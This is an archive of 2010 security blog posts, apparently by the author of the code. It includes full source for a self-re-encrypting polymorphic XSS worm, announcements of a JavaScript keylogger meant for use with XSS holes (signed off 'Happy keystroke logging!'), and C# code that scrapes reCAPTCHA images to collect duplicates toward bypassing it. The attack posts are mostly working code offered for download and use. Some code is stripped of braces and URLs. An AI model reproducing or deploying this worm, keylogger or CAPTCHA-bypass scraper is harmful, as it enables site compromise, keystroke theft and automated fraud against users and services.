This site is soon to be deprecated by

Monday, March 29, 2010

Prion 1.1 Released - Polymorphic XSS Worm

I've affectionately named my worm Prion and released a new version with several browser compatibility fixes and a new test page (embedded below). Click the execute button a few times to see it work.

Old sample removed. An updated version can be found here


Sunday, March 28, 2010

Polymorphic XSS Worm

Note: This entry is out of date; several fixes have been made. New download here

As the title suggests here is a generic, polymorphic XSS worm. With each infection the worm re-encrypts itself using a basic XOR cipher. The only piece missing is the code that sends the obfuscated script (stored in the encoded variable) to it's next target, likely a persistent XSS vulnerability. Below is the complete source. To see it in action save the source to an HTML file then view it. The javascript outputted to the text area is the repackaged worm; to test the repackaged source, replace the javascript of the sample below with the encrypted code and view the page again.

Polymorphic XSS Worm Source

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">
<html xmlns="" >
<title>Polymorphic XSS Worm</title>
<textarea id="xssWorm" style="width:400px;height:600px;"></textarea>

<script type="text/javascript">
/* Polymorphic XSS Worm by John Leitch - */

/*worm start*/
var startToken = '/*worm start*/',
endToken = '/*worm ' + 'end*/';

function encode(code) {
var key = Math.floor(Math.random() * 256);

var packed = startToken + 'var k=' + key + ';var a=[';

for (var i = 0; i < code.length; i++) {
packed += (code.charCodeAt(i) ^ key) + ',';

packed += '];var d=\'\';' +
'for (var i=0;i<a.length;i++)' +
'{d+=String.fromCharCode(a[i]^k);}eval(d);' + endToken;

return packed;

function decode(code) {
var keyMatch = code.match(/var\sk=(\d+)/);

if (keyMatch == null) {
alert('key not found');


var key = keyMatch[1];

var codeMatch = code.match(/var\sa=\[([\d{1,3},]+)\];/);

if (codeMatch == null) {
alert('packed code not found');


var unpacked = '';

var codeBytes = codeMatch[1].split(',');

for (var i = 0; i < codeBytes.length; i++) {
if (!codeBytes[i]) {

unpacked += String.fromCharCode(codeBytes[i] ^ key);

return unpacked;

function findSelf(response) {
var x = response.indexOf(startToken) + startToken.length;
var y = response.indexOf(endToken, x);

var code = response.substring(x, y);

return code;

var code = findSelf(document.body.innerHTML);

if (code.indexOf('var k=') == 0) {
code = decode(code);

var encoded = encode(code);

// This is where the newly obfuscated worm (stored in encoded)
// is passed on to it's next target. But because we don't have a
// target we'll spit the newly obfuscated code out to a textarea.

document.getElementById('xssWorm').value = encoded;
/*worm end*/

Saturday, March 27, 2010

Javascript Keylogger 1.3 Released


Log entries now categorized by page view and field rather than just field
Fixed server crash bugs
Fixed bug related to replacing head & body

Download 1

Download 2

Happy keystroke logging!

Saturday, March 13, 2010

Javascript Keylogger 1.1 Released - HTTP Server Added

Javascript Keylogger has been updated. The new release contains an a customized HTTP server that generates keystroke reports.

From the readme:

Start the server, view Test1.htm or Test2.htm, and type in one of the inputs to see it in action. Logged keystrokes are displayed in the console and written to a text file in the same directory as the server. Server settings are in the JavascriptKeyloggerServer.exe.config file.

Download 1

Download 2

Wednesday, March 10, 2010

Javascript Keylogger

I wrote a javascript keylogger that works nicely with XSS vulnerabilities.

Download 1

Download 2

Tuesday, March 2, 2010

Scraping - reCAPTCHA Hack

After reading about the $25 million online ticket heist and the involvement of the reCAPTCHA service I decided to see if the reported flaw was still present. From the article:

[The perpetrators] wrote a script that impersonated users trying to access Facebook, and downloaded hundreds of thousands of possible CAPTCHA challenges from reCAPTCHA. They identified the file ID of each CAPTCHA challenge and created a database of CAPTCHA “answers” to correspond to each ID. The bot would then identify the file ID of a challenge at Ticketmaster and feed back the corresponding answer.

If the writer was referring to the ID passed to via query string, the vulnerability appears to be fixed as the ID is temporary. However, the images are still the same and through the use of a cryptographic hash function such as MD5 we can identify duplicates. The following C# console application downloads a number (specified by the imageCount variable) of CAPTCHA images from reCAPTCHA, hashes each, groups the results by hash, then writes the results to a text file. Downloading as few as 1024 images can yield several identical images. Building on this one could potentially pull off the reCAPTCHA attack described in the article.

using System;
using System.Text;
using System.Text.RegularExpressions;
using System.IO;
using System.Net;
using System.Collections.Generic;
using System.Security.Cryptography;

namespace reCAPTCHAScrape
class Program
static string Request(string Url)
HttpWebRequest request = WebRequest.Create(Url) as HttpWebRequest;

string s;

using (StreamReader reader =
new StreamReader(request.GetResponse().GetResponseStream()))
s = reader.ReadToEnd();

return s;

static void GetCaptchaImage(int FileNum)
Regex scriptURLRegex =
new Regex(@"<script\s*type\s*=\s*""text/javascript""\s*" +

Regex scriptRegex = new Regex(@"challenge\s*:\s*'([^']+)'");

string pageURL = "";

string resp = Request(pageURL);

string scriptURL = scriptURLRegex.Match(resp).Groups[1].Value;

resp = Request(scriptURL);

string ID = scriptRegex.Match(resp).Groups[1].Value;

string imageURL = "" + ID;

HttpWebRequest request =
WebRequest.Create(imageURL) as HttpWebRequest;

byte[] buffer = new byte[1048576];

using (Stream s = request.GetResponse().GetResponseStream())
int len = s.Read(buffer, 0, 1048576);

Array.Resize(ref buffer, len);

using (FileStream stream = File.Create(FileNum + ".jpg"))
stream.Write(buffer, 0, buffer.Length);

static void DigestImages(string Path)
DirectoryInfo info = new DirectoryInfo(Path);

FileInfo[] files = info.GetFiles("*.jpg");

MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();

Dictionary<string, List<FileInfo>> digestDictionary =
new Dictionary<string, List<FileInfo>>();

foreach (FileInfo f in files)
byte[] buffer = File.ReadAllBytes(f.FullName);

byte[] digest = md5.ComputeHash(buffer);

StringBuilder hexStringBuilder = new StringBuilder();

foreach (byte b in digest)
16).PadLeft(2, '0'));

string hexString = hexStringBuilder.ToString();

if (digestDictionary.ContainsKey(hexString))
digestDictionary.Add(hexString, new List<FileInfo>() { f });

StringBuilder results = new StringBuilder();

foreach (string s in digestDictionary.Keys)

foreach (FileInfo f in digestDictionary[s])


string filename = @".\Results_" + Environment.TickCount + ".txt";

File.WriteAllText(filename, results.ToString());

static void Main(string[] args)
const int imageCount = 1024;

Console.Write("Downloading images");

for (int i = 0; i < imageCount; i++)

catch (System.Exception ex)

Console.WriteLine("\r\nSearching for matches...");


Console.WriteLine("Complete. Press any key to continue...");

A match in the output looks like this: